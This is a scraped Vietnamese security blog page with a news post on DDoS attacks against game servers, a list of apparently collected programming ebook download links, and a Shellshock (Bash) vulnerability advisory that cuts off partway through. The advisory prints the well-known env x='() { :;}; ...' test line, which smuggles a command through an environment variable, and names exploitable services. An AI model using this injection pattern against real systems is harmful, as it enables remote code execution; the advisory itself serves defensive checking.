Keyz Cenly Blog

Tấn công DDoS vào các website chơi game sẽ tăng đột biến

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />Các vấn đề tương tự như vấn đề mà các game thủ trải qua cuối tuần qua khi máy chủ Destiny và Call of Duty bị tấn công bởi DDoS có khả năng xảy ra nhiều lần nữa. Thực tế, chúng ta sẽ không chỉ thấy các cuộc tấn công như vậy xảy ra thường xuyên, mà thậm chí có thể thấy tần số tăng đột biến.<br /><br /><a href="http://securitydaily.net/wp-content/uploads/2014/09/mang.jpg"><img src="http://securitydaily.net/wp-content/uploads/2014/09/mang.jpg" /></a><br /><br />Xu hướng này có thể tiếp tục vì hai lý do chính: Thứ nhất, ngày nay bất cứ ai cũng có thể truy cập vào các giải pháp “DDoS as service” và tạo ra các cuộc tấn công có quy mô trung bình chỉ với một khoản tiền dưới 50$. Thứ hai, phạm vi của cuộc tấn công là nhanh chóng và rộng rãi. Khi tất cả những thứ bạn cần trang bị chỉ là một tài khoản PayPal, việc nổi danh trên Internet ngay lập tức chưa bao giờ dễ dàng hơn thế. Igal Zeifman từ công ty bảo mật Incapsula phát biểu.<br /><br />Ông lưu ý rằng đã có sự gia tăng số lượng các trang web chơi game bị ảnh hưởng bởi các cuộc tấn công DDoS vì một loạt các động cơ, từ chuyện game thủ tức giận và tìm cách trả đũa việc bị đuổi ra khỏi cộng đồng, trả đũa những game thủ kình địch, hoặc đánh vào các trao đổi hàng hóa ảo.<br /><br />Các chuyên gia bảo mật cho rằng các nhà khai thác trang web chơi game cần phải bắt đầu đưa vào hệ thống phòng thủ chống lại các cuộc tấn công DDoS bởi vì hy vọng rằng tin tặc không tấn công không phải là một chiến lược đúng đắn.<br />Đây không phải là một trường hợp riêng lẻ<br /><br />Cuối tuần qua, một nhóm hacker gọi là <a href="http://securitydaily.net/mang-playstation-cua-sony-bi-tan-cong-ddos/">Lizard Squad</a> đã tấn công các máy chủ dành riêng cho trò chơi Destiny và Call of Duty: Ghost. Người chơi bị khởi động lại từ các máy chủ trung gian giữa các trò chơi và một thông báo lỗi được hiển thị. Truy cập bị hạn chế trong nhiều giờ, làm cho người chơi phàn nàn về thời gian hoạt động và nói rằng họ muốn rời khỏi trò chơi này và yêu cầu được trả lại tiền.<br /><br />Mạng lưới PlayStation đã là mục tiêu ưa thích của tin tặc trong vài tháng qua.</span></div>

Tấn công DDoS vào các website chơi game sẽ tăng đột biến

Các vấn đề tương tự như vấn đề mà các game thủ trải qua cuối tuần qua khi máy chủ Destiny và Call of Duty bị tấn công bởi DDoS có khả năng ...

Một Số Ebook Sưu Tầm

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">1-Ngôn ngữ lập trình - Cơ bản</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">ASP</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://www.mediafire.com/?5yub22fita1eryy" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?5yub22fita1eryy</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">PHP</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://www.mediafire.com/?b2zth2kloom" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?b2zth2kloom</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">C căn bản</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://www.mediafire.com/?9d3wglkopjc" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?9d3wglkopjc</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Các giải pháp lập trình C</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://www.mediafire.com/?2zduz1zox71" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?2zduz1zox71</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Lập trình Delphi</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Ff3eg1bd1ydm&h=xAQFWBeJH&enc=AZOTNcJU7niefpIyuDKF9HlmcM-8M6BuPUVdgH4YO2ta0lf6b97MPA5u76WWWXkrsXswtyylDhxZyhp2gOZl-zrbo8TdDFXpSMH1WhKZfAlD9Ylz_neePrspPQ2_M28-DefPPG8g_PtwGleJ1ld6qAvPPuMAU3Ntnf62fyVAkQmbDw&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?f3eg1bd1ydm</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Flash Action Script</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Fclbkkhdedkd&h=GAQHv3ZS7&enc=AZOj9p6wnmXnREwTULMtUyx4W_699pFyIjfoxnRB9FDga9yD7_d4O-5ztVzOqE3uX9ainTjGIbUy_oWIUoi56XhQyw8pwMDJcixue1pR5rwaw0t7jMymyhQt0Gb0a-0LAklcGcOchoBpJCyGub5gg4RGhNGHymyLBRteKqlrmMaEyw&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?clbkkhdedkd</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Giáo trình giải thuật</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://www.mediafire.com/?1umttumvrby" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?1umttumvrby</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Giáo trình hợp ngữ</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3F0slgwxj1jyo&h=7AQGUPM80&enc=AZNRJrLCzDp15SY0r1BVquwD6TgeWpP1a8FSJaW7iaoRA_n6BxbXNZ94An8BkroAVjUXslKovCJZvZSGJAenTzQqekGcfAioySjx989PFEUEVkcKt9dtIge2su8qF98SY5tZ2IBFAPZX6CMkL-4Mm9BNNCDCrxbxjaIaCFMRWX4UVQ&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?0slgwxj1jyo</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Kỹ thuật lập trình CSharp 2.0</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Fd523o58msjg&h=qAQFN0AfT&enc=AZOV9KlsqkBHRE-gW0s9iuGPyM8r3JCNbEomWCSB8cQNC1qTyTcDjrftM5fF0uR2AGsvZDyOFHLO43AIKr9U1RT47y6_G1Q_sbHNzviEV9H4DyqjsIKjCqzu9p6NsPJlG_KJJ_Dzm7SqCtguyV5EYIXJavfqpOS6vLek1auW1MznBw&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?d523o58msjg</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">SQL2000</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Fcoixuzz3n2h&h=IAQE6yWTZ&enc=AZMX_NEFTbhDpmhVlHtBbjhAgbkCGrLp52bGFBG5lgS8aRa1qcBVkX7wVN8U9BZM2gA-Xo8Bntu5FlITPozULIEgG6JxD03zw91CGf66A6SauzdubFYIY9NQYWFNl9VjvahMEvOoniZDmUGdsqF8hvIG_WuOYoyrb_W87bDw2-ityA&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?coixuzz3n2h</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">SQL (Tự học)</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3F252xm1hzne3&h=mAQFoG5CR&enc=AZOJtEeAJ-MvmMdsS_E1YRy9Ska-uxSuMVuo2RL6LL1UDDEM0RqX3dY0zm174LnjR_jWDMoQ3gbjrEtu-YnQ2fhgfdO1EjFmA7YviEFbnlWpVNIxcjllE5tVQqenN0O5jbhhJRtgtBndgZo1bTOhl9y0n2I0OMAcMPir7W0RQEsYhQ&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?252xm1hzne3</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">SQL Server</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Fblgttwmxkk0&h=MAQGzh7lQ&enc=AZNV8c9B0D8P92VyECLW-OtQlzqhz_GSzZw30Afsfr-U_ioWOBPfeUvO2Sm5G-AuKuKFKhW8PEx80ypk88SKfTypZSW5pLDqNcCcItQHoZl4z_FoPrGzqcw3y32NpEfpoYYQPcn0qfrGUVBLG2TXWhtLagtumhIvbisiFAYFKHvODg&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?blgttwmxkk0</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">HTML</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3F2j9mdg5251y&h=lAQF1Tf2M&enc=AZOAz9PLSaDFnmM8fLeiJNcTjUUKyl4HdMPdtvGPRm0Q28dat52SH-gZxTzqyw459TEVVH9k_8yE7dTsZ5ks3Obr0qs5YEC2qZqkyxkHifidmEEdxI_m1EqyVU8s8jWKJ8HyIksj2ZWRVX6G-xL1VH5tb29tKVXrYNZBP_oVQHssUw&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?2j9mdg5251y</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">XML</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Ff5jczogqtr0&h=rAQGXm-C9&enc=AZNg2hjMoa2gasO005SDBgahoufWiRhB-ulmLnGtDWXmsL7sRAcdWWiAjNTjp589jJfdY_WljTpLFAfCwt_Sr5ikJ45T99s5K7vHm7r1LYAc0-ZWT8RiQF1Nsk5mOuK9QKvmTH9XiEL1YFlhflUDkWe506BWVGZO53PFd7jDsD_w-Q&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?f5jczogqtr0</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Lập trình Perl</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3F8gn3iviknzb&h=4AQG2ukXR&enc=AZOcde2x1-pwje20lqCrH7EJlXDmLMcQOcsmOUQqMEPV_Q8rMdBBOmogR6OjiD_H9j5t3yPu-yHRoK87J35-50hNYbTrrjX3LH2nl8K-0Be9u2RMlgyr-gsu-Iigd2qzcE16fr3ROTx3wjW49EsJGMIkbS7cV8RQqM8EHbV1f5FYPA&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?8gn3iviknzb</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Lập trình OpenGL</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3F2itjjnqdmyn&h=_AQF9C1SG&enc=AZPVkcw46-Pxj2jFXOhyC2r0plPTMqb8LLdQ5l1Rp80Yhc-8GX6Zj5wxYutb5H0bE0k87uP_h6moY3Im5axJPkgU-5qTpH1vtVTjlHRyABrEfznvPE2ZW6KCoqio3PLDHO4L2Uv1KxmaTbbAoS1yQltZSNnKprqOIeBNdWaeZmUu2w&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?2itjjnqdmyn</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Java</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3Fau3iijgeobx&h=GAQHv3ZS7&enc=AZMlbz6Bt5r3Y9AsAqroO5zmC2geXWoGY5sTN4ri9AQNvD5RH5yshXC5xgF8gB_O1pomcZJB_BTE821eqk-Rw1W8x2HJis5LFg5EctzQ1UFi5j3hdH-taW8U-7qJN5peSDvZH_xyLZWwIohJIzN5t1KD1LXvSlGj5rxpO7SThuZa7w&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?au3iijgeobx</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Kỹ thuật lập trình</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="http://l.facebook.com/l.php?u=http%3A%2F%2Fwww.mediafire.com%2F%3F3yvnyylztzt&h=bAQEuukib&enc=AZPKs0dZ5m-23JWKvGvuTJGubnyuKH0dMDVmsfw6HpSuR50477FKyYhb2n7u3LeTJUy7ezTLKLo5YtPRlMwDcP98km5qt2Roej5f97e3m_07Klc8AYNK5U6dM8FNHr_w-lSrwkiHP2npUrTuvcceCFVHhjr9SMmxMusPkL577CtqQQ&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">http://www.mediafire.com/?3yvnyylztzt</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">2-Giáo Trình Lập Trình C, C - Full</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><a href="https://www.facebook.com/l.php?u=https%3A%2F%2Fwww.box.com%2Fs%2F21731b6ce5693417ba1d&h=HAQE_mdwx&enc=AZMsng3wR-jfBq8PnG0Oi653M-Du9JbCTHYblh3BD78gUKVprBJ3C2EFg5I7kbgslI66qzeVKWJsyhnp_uJYp-X4AHO_KQvNjmp0zl5bh8Q-IQS3J6kiK2Vbr17fGylfPxLJ2SUMv7tPI03QmcaQmTmalWuPctOZoRIGvmt11HNHpw&s=1" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px; text-decoration: none;" target="_blank">https://www.box.com/s/21731b6ce5693417ba1d</a><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Pass: tav4</span><br style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;" /><span style="background-color: white; color: #141823; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19px;">Nguồn ebook: sưu tầm.</span></div>

Một Số Ebook Sưu Tầm

1-Ngôn ngữ lập trình - Cơ bản ASP http://www.mediafire.com/?5yub22fita1eryy PHP http://www.mediafire.com/?b2zth2kloom C căn bản http://www....

Xuất hiện lỗ hổng rất nguy hiểm ảnh hưởng các hệ thống Linux, Unix

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<a href="http://securitydaily.net/wp-content/uploads/2014/09/shutterstock_77881420-680x400.jpg" rel="lightbox[gallery-0xYG]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="Lỗ hổng Bash gây ảnh hưởng trực tiếp tới Linux, Unix, Mac OS X" class="aligncenter size-full wp-image-7294" src="http://securitydaily.net/wp-content/uploads/2014/09/shutterstock_77881420-680x400.jpg" style="border: 0px; box-sizing: border-box; vertical-align: middle;" /></a>Một lỗ hổng nghiêm trọng vừa được công bố nằm trong cấu trúc Bourne (bash shell) đang tồn tại trong hầu hết các phiên bản của các hệ điều hành Linux, Unix và Mac OS X.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Lỗ hổng phát sinh từ thực tế là bạn có thể tạo ra các biến môi trường thủ công với các giá trị đặc biệt trước khi gọi bash shell. Các biến này có thể chứa mã lệnh thực thi sẽ được thực hiện ngay sau khi bash shell được gọi. Lỗ hổng cho phép kẻ tấn công thực thi mã lệnh từ xa trên máy chủ mục tiêu hoặc đính kèm các tập tin độc hại sẽ được thực hiện mỗi khi bash được gọi đến.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Một số kịch bản khai thác của lỗ hổng này có thể được lợi dụng để khai thác như:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Các máy chủ Apache có sử dụng mod_cgi hoặc mod_cgid cũng có thể bị ảnh hưởng.</li>
<li style="box-sizing: border-box;">ForceCommand được sử dụng trong việc cấu hình SSHD để giới hạn các lệnh mà người dùng có thể thực thi từ xa. Tuy nhiên với lỗ hổng này kẻ tấn công có thể lợi dụng và bỏ qua các hạn chế đó để thực hiện các lệnh tùy ý.</li>
<li style="box-sizing: border-box;">DHCP clients gọi một shell scripts để cấu hình hệ thống, với các giá trị có được khi máy chủ bị lỗ hổng này cho phép client đó thực hiện các lệnh tùy ý như với quyền root trên chính DHCP client.</li>
<li style="box-sizing: border-box;">…</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Lỗ hổng đang tồn tại trên tất cả các phiên bản của bash và có mặt ở  hầu hết các hệ thống Linux, UNIX và các Mac OS. Điều khiến lỗ hổng trở nên nghiêm trọng hơn là nó có thể thực hiện khai thác rất đơn giản. Đây là lỗ hổng được đánh giá ở mức độ nguy hiểm tương đương với lỗ hổng “trái tim rỉ máu” trong OpenSSL.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Để kiểm tra hệ thống của mình có tồn tại lỗ hổng hay không, các quản trị có thể thực hiện chạy đoạn lệnh sau trên máy chủ:</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
Nếu kết quả như bên dưới thì hệ thống của bạn đang tồn tại lỗ hổng và nên thực hiện việc cập nhật và khắc phục ngay</div>
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><strong style="box-sizing: border-box; color: black;">env x='() { :;}; echo vulnerable' bash -c "echo test vulnerability from securitydaily"</strong>
<strong style="box-sizing: border-box; color: black;">vulnerable 
</strong><strong style="box-sizing: border-box; color: black;">test vulnerability from securitydaily</strong></pre>
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; margin-bottom: 10px; text-align: justify;">
Hệ thống được cho là an toàn nếu kết quả như sau:</div>
<pre class="p1" style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><strong style="box-sizing: border-box; color: black;">env x='() { :;}; echo vulnerable' bash -c "echo test vulnerability from securitydaily"</strong>
